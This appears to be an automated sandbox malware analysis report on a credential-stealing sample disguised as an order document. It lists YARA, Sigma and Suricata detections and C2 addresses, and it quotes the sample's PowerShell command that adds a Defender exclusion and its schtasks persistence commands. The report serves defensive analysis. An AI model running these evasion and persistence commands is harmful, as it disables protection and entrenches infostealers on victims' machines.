42.2.vbc.exe.7590f08.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.7590f08.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20c08:$a1: get_encryptedPassword 0x20bdc:$a2: get_encryptedUsername 0x20ca0:$a3: get_timePasswordChanged 0x20bb8:$a4: get_passwordField 0x20c1e:$a5: set_encryptedPassword 0x209eb:$a7: get_logins 0x1ff75:$a8: GetOutlookPasswords 0x1f49e:$a9: StartKeylogger 0x1de00:$a10: KeyLoggerEventArgs 0x1ddcf:$a11: KeyLoggerEventArgsEventHandler 0x20abf:$a13: _encryptedPassword
0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8745570.7.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.8745570.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8745570.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21b10:$a1: get_encryptedPassword 0x21ae4:$a2: get_encryptedUsername 0x21ba8:$a3: get_timePasswordChanged 0x21ac0:$a4: get_passwordField 0x21b26:$a5: set_encryptedPassword 0x218f3:$a7: get_logins 0x20e7d:$a8: GetOutlookPasswords 0x203a6:$a9: StartKeylogger 0x1ed08:$a10: KeyLoggerEventArgs 0x1ecd7:$a11: KeyLoggerEventArgsEventHandler 0x219c7:$a13: _encryptedPassword
42.2.vbc.exe.9ad0000.8.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.9ad0000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.9ad0000.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20c08:$a1: get_encryptedPassword 0x20bdc:$a2: get_encryptedUsername 0x20ca0:$a3: get_timePasswordChanged 0x20bb8:$a4: get_passwordField 0x20c1e:$a5: set_encryptedPassword 0x209eb:$a7: get_logins 0x1ff75:$a8: GetOutlookPasswords 0x1f49e:$a9: StartKeylogger 0x1de00:$a10: KeyLoggerEventArgs 0x1ddcf:$a11: KeyLoggerEventArgsEventHandler 0x20abf:$a13: _encryptedPassword
0.2.RFQ_PO N89397-GM7287-Order.bat.exe.63bf478.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A5 88 44 24 2B 88 44 24 2F B0 FB 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.RFQ_PO N89397-GM7287-Order.bat.exe.6272458.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A5 88 44 24 2B 88 44 24 2F B0 FB 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
22.2.YRtQgzFlDnVSru.exe.36cce48.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A5 88 44 24 2B 88 44 24 2F B0 FB 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
42.2.vbc.exe.9ad0000.8.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.9ad0000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.9ad0000.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22a08:$a1: get_encryptedPassword 0x229dc:$a2: get_encryptedUsername 0x22aa0:$a3: get_timePasswordChanged 0x229b8:$a4: get_passwordField 0x22a1e:$a5: set_encryptedPassword 0x227eb:$a7: get_logins 0x21d75:$a8: GetOutlookPasswords 0x2129e:$a9: StartKeylogger 0x1fc00:$a10: KeyLoggerEventArgs 0x1fbcf:$a11: KeyLoggerEventArgsEventHandler 0x228bf:$a13: _encryptedPassword
42.2.vbc.exe.73b79a6.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.73b79a6.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.73b79a6.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22a08:$a1: get_encryptedPassword 0x229dc:$a2: get_encryptedUsername 0x22aa0:$a3: get_timePasswordChanged 0x229b8:$a4: get_passwordField 0x22a1e:$a5: set_encryptedPassword 0x227eb:$a7: get_logins 0x21d75:$a8: GetOutlookPasswords 0x2129e:$a9: StartKeylogger 0x1fc00:$a10: KeyLoggerEventArgs 0x1fbcf:$a11: KeyLoggerEventArgsEventHandler 0x228bf:$a13: _encryptedPassword
42.2.vbc.exe.7590000.4.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.7590000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.7590000.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x23910:$a1: get_encryptedPassword 0x238e4:$a2: get_encryptedUsername 0x239a8:$a3: get_timePasswordChanged 0x238c0:$a4: get_passwordField 0x23926:$a5: set_encryptedPassword 0x236f3:$a7: get_logins 0x22c7d:$a8: GetOutlookPasswords 0x221a6:$a9: StartKeylogger 0x20b08:$a10: KeyLoggerEventArgs 0x20ad7:$a11: KeyLoggerEventArgsEventHandler 0x237c7:$a13: _encryptedPassword
Click to see the 54 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", ParentImage: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe, ParentProcessId: 7316, ParentProcessName: RFQ_PO N89397-GM7287-Order.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", ProcessId: 7548, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\AppVStrm.sys, NewProcessName: C:\Windows\System32\drivers\AppVStrm.sys, OriginalFileName: C:\Windows\System32\drivers\AppVStrm.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: AppVStrm.sys

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe, ParentImage: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe, ParentProcessId: 2648, ParentProcessName: YRtQgzFlDnVSru.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp", ProcessId: 7584, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", ParentImage: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe, ParentProcessId: 7316, ParentProcessName: RFQ_PO N89397-GM7287-Order.bat.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp", ProcessId: 7640, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", ParentImage: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe, ParentProcessId: 7316, ParentProcessName: RFQ_PO N89397-GM7287-Order.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", ProcessId: 7548, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe", ParentImage: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe, ParentProcessId: 7316, ParentProcessName: RFQ_PO N89397-GM7287-Order.bat.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp", ProcessId: 7640, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T22:44:52.841706+0100	2051649	1	A Network Trojan was detected	192.168.2.7	54852	1.1.1.1	53	UDP
2024-11-28T22:44:53.832881+0100	2051649	1	A Network Trojan was detected	192.168.2.7	54852	1.1.1.1	53	UDP
2024-11-28T22:44:54.848703+0100	2051649	1	A Network Trojan was detected	192.168.2.7	54852	1.1.1.1	53	UDP
2024-11-28T22:44:56.874648+0100	2051649	1	A Network Trojan was detected	192.168.2.7	54852	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T22:44:49.363972+0100	2051648	1	A Network Trojan was detected	192.168.2.7	53251	1.1.1.1	53	UDP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T22:44:37.090921+0100	2018141	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.7	49740	TCP
2024-11-28T22:46:17.023299+0100	2018141	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.7	49922	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T22:44:37.090921+0100	2037771	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.7	49740	TCP
2024-11-28T22:46:17.023299+0100	2037771	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.7	49922	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T22:44:28.600332+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49718	132.226.247.73	80	TCP
2024-11-28T22:44:41.628617+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49754	132.226.247.73	80	TCP

ETPRO MALWARE Win32/Expiro.NDO CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T22:44:51.227117+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.7	49780	172.234.222.138	80	TCP
2024-11-28T22:46:06.959081+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.7	49903	82.112.184.197	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen

Multi AV Scanner detection for submitted file

Source: RFQ_PO N89397-GM7287-Order.bat.exe

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_00F48286 CryptStringToBinaryA,CryptStringToBinaryA,GetTokenInformation,GetTokenInformation,GetLastError,OpenProcessToken,CloseHandle,GetSidSubAuthorityCount,

9_2_00F48286

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.7:49725 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.7:49759 version: TLS 1.0

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: alg.exe, 0000000B.00000003.2009762179.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.2009857048.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573298301.0000000000730000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573255343.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: alg.exe, 0000000B.00000003.2036151480.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\jjs_objs\jjs.pdb source: alg.exe, 0000000B.00000003.2034574236.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\SpreadsheetCompare.pdb source: alg.exe, 0000000B.00000003.2062072594.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: alg.exe, 0000000B.00000003.1991666348.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2527182119.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: alg.exe, 0000000B.00000003.2011798103.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2576506040.0000000001460000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\pack200_objs\pack200.pdb source: alg.exe, 0000000B.00000003.2036762332.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: vbc.exe, 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection.pdb source: alg.exe, 0000000B.00000003.2060589054.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: alg.exe, 0000000B.00000003.2037617501.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: SingleClientServicesUpdater.exe.9.dr
